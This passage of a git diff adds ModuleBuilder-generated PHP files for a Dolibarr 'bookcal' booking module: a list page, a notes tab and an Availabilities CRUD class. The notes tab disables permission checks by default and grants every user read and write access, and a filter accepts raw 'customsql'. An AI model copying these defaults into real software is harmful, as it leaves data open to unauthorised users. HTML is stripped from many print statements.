Loop on record +// -------------------------------------------------------------------- +$i = 0; +$savnbfield = $totalarray['nbfield']; +$totalarray = array(); +$totalarray['nbfield'] = 0; +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { + $obj = $db->fetch_object($resql); + if (empty($obj)) { + break; // Should not happen + } + + // Store properties in $object + $object->setVarsFromFetchObj($obj); + + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + // Show here line of result + $j = 0; + print ''; + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } + foreach ($object->fields as $key => $val) { + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } + + if (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif ($key == 'ref') { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } + + if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; + + if (!empty($arrayfields['t.'.$key]['checked'])) { + print '$key)) { + print ' title="'.dol_escape_htmltag($object->$key).'"'; + } + print '>'; + if ($key == 'status') { + print $object->getLibStatut(5); + } elseif ($key == 'rowid') { + print $object->showOutputField($val, $key, $object->id, ''); + } else { + print $object->showOutputField($val, $key, $object->$key, ''); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + } + if (!isset($totalarray['val'])) { + $totalarray['val'] = array(); + } + if (!isset($totalarray['val']['t.'.$key])) { + $totalarray['val']['t.'.$key] = 0; + } + $totalarray['val']['t.'.$key] += $object->$key; + } + } + } + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + /*if (!empty($arrayfields['anotherfield']['checked'])) { + print ''; + }*/ + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } + if (!$i) { + $totalarray['nbfield']++; + } + + print ''."\n"; + } + + $i++; +} + +// Show total line +include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; + +// If no record found +if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print ''; +} + + +$db->free($resql); + +$parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; + +print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; + if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { + print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100', 1); + } elseif ((strpos($val['type'], 'integer:') === 0) || (strpos($val['type'], 'sellist:') === 0)) { + print $object->showInputField($val, $key, (isset($search[$key]) ? $search[$key] : ''), '', '', 'search_', $cssforfield.' maxwidth250', 1); + } elseif (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { + print '
      '; + print $form->selectDate($search[$key.'_dtstart'] ? $search[$key.'_dtstart'] : '', "search_".$key."_dtstart", 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search[$key.'_dtend'] ? $search[$key.'_dtend'] : '', "search_".$key."_dtend", 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + } elseif ($key == 'lang') { + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formadmin.class.php'; + $formadmin = new FormAdmin($db); + print $formadmin->select_language($search[$key], 'search_lang', 0, null, 1, 0, 0, 'minwidth150 maxwidth200', 2); + } else { + print ''; + } + print '
      '; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '.$langs->trans("AnotherField").'
      '; + print '
      '; + } + // Output Kanban + print $object->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''.$obj->anotherfield.''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      '."\n"; +print '
      '."\n"; + +print '
      '."\n"; + +if (in_array('builddoc', $arrayofmassactions) && ($nbtotalofrecords === '' || $nbtotalofrecords)) { + $hidegeneratedfilelistifempty = 1; + if ($massaction == 'builddoc' || $action == 'remove_file' || $show_files) { + $hidegeneratedfilelistifempty = 0; + } + + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; + $formfile = new FormFile($db); + + // Show list of available documents + $urlsource = $_SERVER['PHP_SELF'].'?sortfield='.$sortfield.'&sortorder='.$sortorder; + $urlsource .= str_replace('&', '&', $param); + + $filedir = $diroutputmassaction; + $genallowed = $permissiontoread; + $delallowed = $permissiontoadd; + + print $formfile->showdocuments('massfilesarea_bookcal', '', $filedir, $urlsource, 0, $delallowed, '', 1, 1, 0, 48, 1, $param, $title, '', '', '', null, $hidegeneratedfilelistifempty); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/booking_note.php b/htdocs/bookcal/booking_note.php new file mode 100644 index 00000000000..5b00686fc27 --- /dev/null +++ b/htdocs/bookcal/booking_note.php @@ -0,0 +1,171 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file booking_note.php + * \ingroup bookcal + * \brief Tab for notes on Booking + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/booking.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_booking.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "companies")); + +// Get parameters +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$action = GETPOST('action', 'aZ09'); +$cancel = GETPOST('cancel', 'aZ09'); +$backtopage = GETPOST('backtopage', 'alpha'); + +// Initialize technical objects +$object = new Booking($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('bookingnote', 'globalcard')); // Note that conf->hooks_modules contains array +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals +if ($id > 0 || !empty($ref)) { + $upload_dir = $conf->bookcal->multidir_output[!empty($object->entity) ? $object->entity : $conf->entity]."/".$object->id; +} + + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->rights->bookcal->booking->read; + $permissiontoadd = $user->rights->bookcal->booking->write; + $permissionnote = $user->rights->bookcal->booking->write; // Used by the include of actions_setnotes.inc.php +} else { + $permissiontoread = 1; + $permissiontoadd = 1; + $permissionnote = 1; +} + +// Security check (enable the most restrictive one) +//if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +$parameters = array(); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} +if (empty($reshook)) { + include DOL_DOCUMENT_ROOT.'/core/actions_setnotes.inc.php'; // Must be include, not include_once +} + + +/* + * View + */ + +$form = new Form($db); + +//$help_url='EN:Customers_Orders|FR:Commandes_Clients|ES:Pedidos de clientes'; +$help_url = ''; +$title = $langs->trans('Booking').' - '.$langs->trans("Notes"); +llxHeader('', $title, $help_url); + +if ($id > 0 || !empty($ref)) { + $object->fetch_thirdparty(); + + $head = bookingPrepareHead($object); + + print dol_get_fiche_head($head, 'note', $langs->trans("Booking"), -1, $object->picto); + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + /* + // Ref customer + $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); + // Project + if (! empty($conf->project->enabled)) + { + $langs->load("projects"); + $morehtmlref.='
      '.$langs->trans('Project') . ' '; + if ($permissiontoadd) + { + if ($action != 'classify') + //$morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; + $morehtmlref.=' : '; + if ($action == 'classify') { + //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + $morehtmlref.='
      '; + $morehtmlref.=''; + $morehtmlref.=''; + $morehtmlref.=$formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref.=''; + $morehtmlref.='
      '; + } else { + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + } + } else { + if (! empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= ': '.$proj->getNomUrl(); + } else { + $morehtmlref .= ''; + } + } + }*/ + $morehtmlref .= '
      '; + + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + + print '
      '; + print '
      '; + + + $cssclass = "titlefield"; + include DOL_DOCUMENT_ROOT.'/core/tpl/notes.tpl.php'; + + print '
      '; + + print dol_get_fiche_end(); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/class/availabilities.class.php b/htdocs/bookcal/class/availabilities.class.php new file mode 100644 index 00000000000..c7e86a9f589 --- /dev/null +++ b/htdocs/bookcal/class/availabilities.class.php @@ -0,0 +1,1089 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file class/availabilities.class.php + * \ingroup bookcal + * \brief This file is a CRUD class file for Availabilities (Create/Read/Update/Delete) + */ + +// Put here all includes required by your class file +require_once DOL_DOCUMENT_ROOT.'/core/class/commonobject.class.php'; +//require_once DOL_DOCUMENT_ROOT . '/societe/class/societe.class.php'; +//require_once DOL_DOCUMENT_ROOT . '/product/class/product.class.php'; + +/** + * Class for Availabilities + */ +class Availabilities extends CommonObject +{ + /** + * @var string ID of module. + */ + public $module = 'bookcal'; + + /** + * @var string ID to identify managed object. + */ + public $element = 'availabilities'; + + /** + * @var string Name of table without prefix where object is stored. This is also the key used for extrafields management. + */ + public $table_element = 'bookcal_availabilities'; + + /** + * @var int Does this object support multicompany module ? + * 0=No test on entity, 1=Test with field entity, 'field@table'=Test with link by field@table + */ + public $ismultientitymanaged = 0; + + /** + * @var int Does object support extrafields ? 0=No, 1=Yes + */ + public $isextrafieldmanaged = 1; + + /** + * @var string String with name of icon for availabilities. Must be a 'fa-xxx' fontawesome code (or 'fa-xxx_fa_color_size') or 'availabilities@bookcal' if picto is file 'img/object_availabilities.png'. + */ + public $picto = 'fa-file'; + + + const STATUS_DRAFT = 0; + const STATUS_VALIDATED = 1; + const STATUS_CANCELED = 9; + + + /** + * 'type' field format ('integer', 'integer:ObjectClass:PathToClass[:AddCreateButtonOrNot[:Filter[:Sortfield]]]', 'sellist:TableName:LabelFieldName[:KeyFieldName[:KeyFieldParent[:Filter[:Sortfield]]]]', 'varchar(x)', 'double(24,8)', 'real', 'price', 'text', 'text:none', 'html', 'date', 'datetime', 'timestamp', 'duration', 'mail', 'phone', 'url', 'password') + * Note: Filter can be a string like "(t.ref:like:'SO-%') or (t.date_creation:<:'20160101') or (t.nature:is:NULL)" + * 'label' the translation key. + * 'picto' is code of a picto to show before value in forms + * 'enabled' is a condition when the field must be managed (Example: 1 or '$conf->global->MY_SETUP_PARAM' or 'isModEnabled('multicurrency')' ...) + * 'position' is the sort order of field. + * 'notnull' is set to 1 if not null in database. Set to -1 if we must set data to null if empty ('' or 0). + * 'visible' says if field is visible in list (Examples: 0=Not visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create). 5=Visible on list and view only (not create/not update). Using a negative value means field is not shown by default on list but can be selected for viewing) + * 'noteditable' says if field is not editable (1 or 0) + * 'default' is a default value for creation (can still be overwrote by the Setup of Default Values if field is editable in creation form). Note: If default is set to '(PROV)' and field is 'ref', the default value will be set to '(PROVid)' where id is rowid when a new record is created. + * 'index' if we want an index in database. + * 'foreignkey'=>'tablename.field' if the field is a foreign key (it is recommanded to name the field fk_...). + * 'searchall' is 1 if we want to search in this field when making a search from the quick search button. + * 'isameasure' must be set to 1 or 2 if field can be used for measure. Field type must be summable like integer or double(24,8). Use 1 in most cases, or 2 if you don't want to see the column total into list (for example for percentage) + * 'css' and 'cssview' and 'csslist' is the CSS style to use on field. 'css' is used in creation and update. 'cssview' is used in view mode. 'csslist' is used for columns in lists. For example: 'css'=>'minwidth300 maxwidth500 widthcentpercentminusx', 'cssview'=>'wordbreak', 'csslist'=>'tdoverflowmax200' + * 'help' is a 'TranslationString' to use to show a tooltip on field. You can also use 'TranslationString:keyfortooltiponlick' for a tooltip on click. + * 'showoncombobox' if value of the field must be visible into the label of the combobox that list record + * 'disabled' is 1 if we want to have the field locked by a 'disabled' attribute. In most cases, this is never set into the definition of $fields into class, but is set dynamically by some part of code. + * 'arrayofkeyval' to set a list of values if type is a list of predefined values. For example: array("0"=>"Draft","1"=>"Active","-1"=>"Cancel"). Note that type can be 'integer' or 'varchar' + * 'autofocusoncreate' to have field having the focus on a create form. Only 1 field should have this property set to 1. + * 'comment' is not used. You can store here any text of your choice. It is not used by application. + * 'validate' is 1 if need to validate with $this->validateField() + * 'copytoclipboard' is 1 or 2 to allow to add a picto to copy value into clipboard (1=picto after label, 2=picto after value) + * + * Note: To have value dynamic, you can set value to 0 in definition and edit the value on the fly into the constructor. + */ + + // BEGIN MODULEBUILDER PROPERTIES + /** + * @var array Array with all fields and their property. Do not use it as a static var. It may be modified by constructor. + */ + public $fields=array( + 'rowid' => array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>'1', 'position'=>1, 'notnull'=>1, 'visible'=>0, 'noteditable'=>'1', 'index'=>1, 'css'=>'left', 'comment'=>"Id"), + 'ref' => array('type'=>'varchar(128)', 'label'=>'Ref', 'enabled'=>'1', 'position'=>20, 'notnull'=>1, 'visible'=>1, 'index'=>1, 'searchall'=>1, 'showoncombobox'=>'1', 'validate'=>'1', 'comment'=>"Reference of object"), + 'label' => array('type'=>'varchar(255)', 'label'=>'Label', 'enabled'=>'1', 'position'=>30, 'notnull'=>0, 'visible'=>1, 'searchall'=>1, 'css'=>'minwidth300', 'cssview'=>'wordbreak', 'help'=>"Help text", 'showoncombobox'=>'2', 'validate'=>'1',), + 'description' => array('type'=>'text', 'label'=>'Description', 'enabled'=>'1', 'position'=>60, 'notnull'=>0, 'visible'=>3, 'validate'=>'1',), + 'note_public' => array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>'1', 'position'=>61, 'notnull'=>0, 'visible'=>0, 'cssview'=>'wordbreak', 'validate'=>'1',), + 'note_private' => array('type'=>'html', 'label'=>'NotePrivate', 'enabled'=>'1', 'position'=>62, 'notnull'=>0, 'visible'=>0, 'cssview'=>'wordbreak', 'validate'=>'1',), + 'date_creation' => array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>'1', 'position'=>500, 'notnull'=>1, 'visible'=>-2,), + 'tms' => array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>'1', 'position'=>501, 'notnull'=>0, 'visible'=>-2,), + 'fk_user_creat' => array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserAuthor', 'picto'=>'user', 'enabled'=>'1', 'position'=>510, 'notnull'=>1, 'visible'=>-2, 'foreignkey'=>'user.rowid',), + 'fk_user_modif' => array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserModif', 'picto'=>'user', 'enabled'=>'1', 'position'=>511, 'notnull'=>-1, 'visible'=>-2,), + 'last_main_doc' => array('type'=>'varchar(255)', 'label'=>'LastMainDoc', 'enabled'=>'1', 'position'=>600, 'notnull'=>0, 'visible'=>0,), + 'import_key' => array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>'1', 'position'=>1000, 'notnull'=>-1, 'visible'=>-2,), + 'model_pdf' => array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>'1', 'position'=>1010, 'notnull'=>-1, 'visible'=>0,), + 'status' => array('type'=>'integer', 'label'=>'Status', 'enabled'=>'1', 'position'=>2000, 'notnull'=>1, 'visible'=>1, 'index'=>1, 'arrayofkeyval'=>array('0'=>'Draft', '1'=>'Validated', '9'=>'Canceled'), 'validate'=>'1',), + 'start' => array('type'=>'date', 'label'=>'Start Date', 'enabled'=>'1', 'position'=>40, 'notnull'=>1, 'visible'=>1, 'searchall'=>1), + 'end' => array('type'=>'date', 'label'=>'End Date', 'enabled'=>'1', 'position'=>45, 'notnull'=>1, 'visible'=>1, 'searchall'=>1), + 'type' => array('type'=>'integer', 'label'=>'Type', 'enabled'=>'1', 'position'=>49, 'notnull'=>1, 'visible'=>1, 'index'=>1, 'arrayofkeyval'=>array('0'=>'Customer', '1'=>'Supplier', '2'=>'Else'),), + 'duration' => array('type'=>'integer', 'label'=>'Duration', 'enabled'=>'1', 'position'=>47, 'notnull'=>1, 'visible'=>1, 'default'=>'30'), + 'startHour' => array('type'=>'integer', 'label'=>'Start Hour', 'enabled'=>'1', 'position'=>46, 'notnull'=>1, 'visible'=>-1,), + 'endHour' => array('type'=>'integer', 'label'=>'End Hour', 'enabled'=>'1', 'position'=>46.5, 'notnull'=>1, 'visible'=>-1,), + ); + public $rowid; + public $ref; + public $label; + public $description; + public $note_public; + public $note_private; + public $date_creation; + public $tms; + public $fk_user_creat; + public $fk_user_modif; + public $last_main_doc; + public $import_key; + public $model_pdf; + public $status; + public $start; + public $end; + public $type; + public $duration; + public $startHour; + public $endHour; + // END MODULEBUILDER PROPERTIES + + + // If this object has a subtable with lines + + // /** + // * @var string Name of subtable line + // */ + // public $table_element_line = 'bookcal_availabilitiesline'; + + // /** + // * @var string Field with ID of parent key if this object has a parent + // */ + // public $fk_element = 'fk_availabilities'; + + // /** + // * @var string Name of subtable class that manage subtable lines + // */ + // public $class_element_line = 'Availabilitiesline'; + + // /** + // * @var array List of child tables. To test if we can delete object. + // */ + // protected $childtables = array(); + + // /** + // * @var array List of child tables. To know object to delete on cascade. + // * If name matches '@ClassNAme:FilePathClass;ParentFkFieldName' it will + // * call method deleteByParentField(parentId, ParentFkFieldName) to fetch and delete child object + // */ + // protected $childtablesoncascade = array('bookcal_availabilitiesdet'); + + // /** + // * @var AvailabilitiesLine[] Array of subtable lines + // */ + // public $lines = array(); + + + + /** + * Constructor + * + * @param DoliDb $db Database handler + */ + public function __construct(DoliDB $db) + { + global $conf, $langs; + + $this->db = $db; + + if (empty($conf->global->MAIN_SHOW_TECHNICAL_ID) && isset($this->fields['rowid']) && !empty($this->fields['ref'])) { + $this->fields['rowid']['visible'] = 0; + } + if (empty($conf->multicompany->enabled) && isset($this->fields['entity'])) { + $this->fields['entity']['enabled'] = 0; + } + + // Example to show how to set values of fields definition dynamically + /*if ($user->hasRight('bookcal', 'availabilities', 'read')) { + $this->fields['myfield']['visible'] = 1; + $this->fields['myfield']['noteditable'] = 0; + }*/ + + // Unset fields that are disabled + foreach ($this->fields as $key => $val) { + if (isset($val['enabled']) && empty($val['enabled'])) { + unset($this->fields[$key]); + } + } + + // Translate some data of arrayofkeyval + if (is_object($langs)) { + foreach ($this->fields as $key => $val) { + if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { + foreach ($val['arrayofkeyval'] as $key2 => $val2) { + $this->fields[$key]['arrayofkeyval'][$key2] = $langs->trans($val2); + } + } + } + } + } + + /** + * Create object into database + * + * @param User $user User that creates + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int <0 if KO, Id of created object if OK + */ + public function create(User $user, $notrigger = false) + { + $resultcreate = $this->createCommon($user, $notrigger); + + //$resultvalidate = $this->validate($user, $notrigger); + + return $resultcreate; + } + + /** + * Clone an object into another one + * + * @param User $user User that creates + * @param int $fromid Id of object to clone + * @return mixed New object created, <0 if KO + */ + public function createFromClone(User $user, $fromid) + { + global $langs, $extrafields; + $error = 0; + + dol_syslog(__METHOD__, LOG_DEBUG); + + $object = new self($this->db); + + $this->db->begin(); + + // Load source object + $result = $object->fetchCommon($fromid); + if ($result > 0 && !empty($object->table_element_line)) { + $object->fetchLines(); + } + + // get lines so they will be clone + //foreach($this->lines as $line) + // $line->fetch_optionals(); + + // Reset some properties + unset($object->id); + unset($object->fk_user_creat); + unset($object->import_key); + + // Clear fields + if (property_exists($object, 'ref')) { + $object->ref = empty($this->fields['ref']['default']) ? "Copy_Of_".$object->ref : $this->fields['ref']['default']; + } + if (property_exists($object, 'label')) { + $object->label = empty($this->fields['label']['default']) ? $langs->trans("CopyOf")." ".$object->label : $this->fields['label']['default']; + } + if (property_exists($object, 'status')) { + $object->status = self::STATUS_DRAFT; + } + if (property_exists($object, 'date_creation')) { + $object->date_creation = dol_now(); + } + if (property_exists($object, 'date_modification')) { + $object->date_modification = null; + } + // ... + // Clear extrafields that are unique + if (is_array($object->array_options) && count($object->array_options) > 0) { + $extrafields->fetch_name_optionals_label($this->table_element); + foreach ($object->array_options as $key => $option) { + $shortkey = preg_replace('/options_/', '', $key); + if (!empty($extrafields->attributes[$this->table_element]['unique'][$shortkey])) { + //var_dump($key); + //var_dump($clonedObj->array_options[$key]); exit; + unset($object->array_options[$key]); + } + } + } + + // Create clone + $object->context['createfromclone'] = 'createfromclone'; + $result = $object->createCommon($user); + if ($result < 0) { + $error++; + $this->error = $object->error; + $this->errors = $object->errors; + } + + if (!$error) { + // copy internal contacts + if ($this->copy_linked_contact($object, 'internal') < 0) { + $error++; + } + } + + if (!$error) { + // copy external contacts if same company + if (!empty($object->socid) && property_exists($this, 'fk_soc') && $this->fk_soc == $object->socid) { + if ($this->copy_linked_contact($object, 'external') < 0) { + $error++; + } + } + } + + unset($object->context['createfromclone']); + + // End + if (!$error) { + $this->db->commit(); + return $object; + } else { + $this->db->rollback(); + return -1; + } + } + + /** + * Load object in memory from the database + * + * @param int $id Id object + * @param string $ref Ref + * @return int <0 if KO, 0 if not found, >0 if OK + */ + public function fetch($id, $ref = null) + { + $result = $this->fetchCommon($id, $ref); + if ($result > 0 && !empty($this->table_element_line)) { + $this->fetchLines(); + } + return $result; + } + + /** + * Load object lines in memory from the database + * + * @return int <0 if KO, 0 if not found, >0 if OK + */ + public function fetchLines() + { + $this->lines = array(); + + $result = $this->fetchLinesCommon(); + return $result; + } + + + /** + * Load list of objects in memory from the database. + * + * @param string $sortorder Sort Order + * @param string $sortfield Sort field + * @param int $limit limit + * @param int $offset Offset + * @param array $filter Filter array. Example array('field'=>'valueforlike', 'customurl'=>...) + * @param string $filtermode Filter mode (AND or OR) + * @return array|int int <0 if KO, array of pages if OK + */ + public function fetchAll($sortorder = '', $sortfield = '', $limit = 0, $offset = 0, array $filter = array(), $filtermode = 'AND') + { + global $conf; + + dol_syslog(__METHOD__, LOG_DEBUG); + + $records = array(); + + $sql = "SELECT "; + $sql .= $this->getFieldList('t'); + $sql .= " FROM ".MAIN_DB_PREFIX.$this->table_element." as t"; + if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) { + $sql .= " WHERE t.entity IN (".getEntity($this->element).")"; + } else { + $sql .= " WHERE 1 = 1"; + } + // Manage filter + $sqlwhere = array(); + if (count($filter) > 0) { + foreach ($filter as $key => $value) { + if ($key == 't.rowid') { + $sqlwhere[] = $key." = ".((int) $value); + } elseif (in_array($this->fields[$key]['type'], array('date', 'datetime', 'timestamp'))) { + $sqlwhere[] = $key." = '".$this->db->idate($value)."'"; + } elseif ($key == 'customsql') { + $sqlwhere[] = $value; + } elseif (strpos($value, '%') === false) { + $sqlwhere[] = $key." IN (".$this->db->sanitize($this->db->escape($value)).")"; + } else { + $sqlwhere[] = $key." LIKE '%".$this->db->escape($value)."%'"; + } + } + } + if (count($sqlwhere) > 0) { + $sql .= " AND (".implode(" ".$filtermode." ", $sqlwhere).")"; + } + + if (!empty($sortfield)) { + $sql .= $this->db->order($sortfield, $sortorder); + } + if (!empty($limit)) { + $sql .= $this->db->plimit($limit, $offset); + } + + $resql = $this->db->query($sql); + if ($resql) { + $num = $this->db->num_rows($resql); + $i = 0; + while ($i < ($limit ? min($limit, $num) : $num)) { + $obj = $this->db->fetch_object($resql); + + $record = new self($this->db); + $record->setVarsFromFetchObj($obj); + + $records[$record->id] = $record; + + $i++; + } + $this->db->free($resql); + + return $records; + } else { + $this->errors[] = 'Error '.$this->db->lasterror(); + dol_syslog(__METHOD__.' '.join(',', $this->errors), LOG_ERR); + + return -1; + } + } + + /** + * Update object into database + * + * @param User $user User that modifies + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int <0 if KO, >0 if OK + */ + public function update(User $user, $notrigger = false) + { + return $this->updateCommon($user, $notrigger); + } + + /** + * Delete object in database + * + * @param User $user User that deletes + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int <0 if KO, >0 if OK + */ + public function delete(User $user, $notrigger = false) + { + return $this->deleteCommon($user, $notrigger); + //return $this->deleteCommon($user, $notrigger, 1); + } + + /** + * Delete a line of object in database + * + * @param User $user User that delete + * @param int $idline Id of line to delete + * @param bool $notrigger false=launch triggers after, true=disable triggers + * @return int >0 if OK, <0 if KO + */ + public function deleteLine(User $user, $idline, $notrigger = false) + { + if ($this->status < 0) { + $this->error = 'ErrorDeleteLineNotAllowedByObjectStatus'; + return -2; + } + + return $this->deleteLineCommon($user, $idline, $notrigger); + } + + + /** + * Validate object + * + * @param User $user User making status change + * @param int $notrigger 1=Does not execute triggers, 0= execute triggers + * @return int <=0 if OK, 0=Nothing done, >0 if KO + */ + public function validate($user, $notrigger = 0) + { + global $conf, $langs; + + require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + + $error = 0; + + // Protection + if ($this->status == self::STATUS_VALIDATED) { + dol_syslog(get_class($this)."::validate action abandonned: already validated", LOG_WARNING); + return 0; + } + + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && $user->hasRight('bookcal', 'availabilities', 'write')) + || (! empty($conf->global->MAIN_USE_ADVANCED_PERMS) && ! empty($user->rights->bookcal->availabilities->availabilities_advance->validate)))) + { + $this->error='NotEnoughPermissions'; + dol_syslog(get_class($this)."::valid ".$this->error, LOG_ERR); + return -1; + }*/ + + $now = dol_now(); + + $this->db->begin(); + + // Define new ref + if (!$error && (preg_match('/^[\(]?PROV/i', $this->ref) || empty($this->ref))) { // empty should not happened, but when it occurs, the test save life + $num = $this->getNextNumRef(); + } else { + $num = $this->ref; + } + $this->newref = $num; + + if (!empty($num)) { + // Validate + $sql = "UPDATE ".MAIN_DB_PREFIX.$this->table_element; + $sql .= " SET ref = '".$this->db->escape($num)."',"; + $sql .= " status = ".self::STATUS_VALIDATED; + if 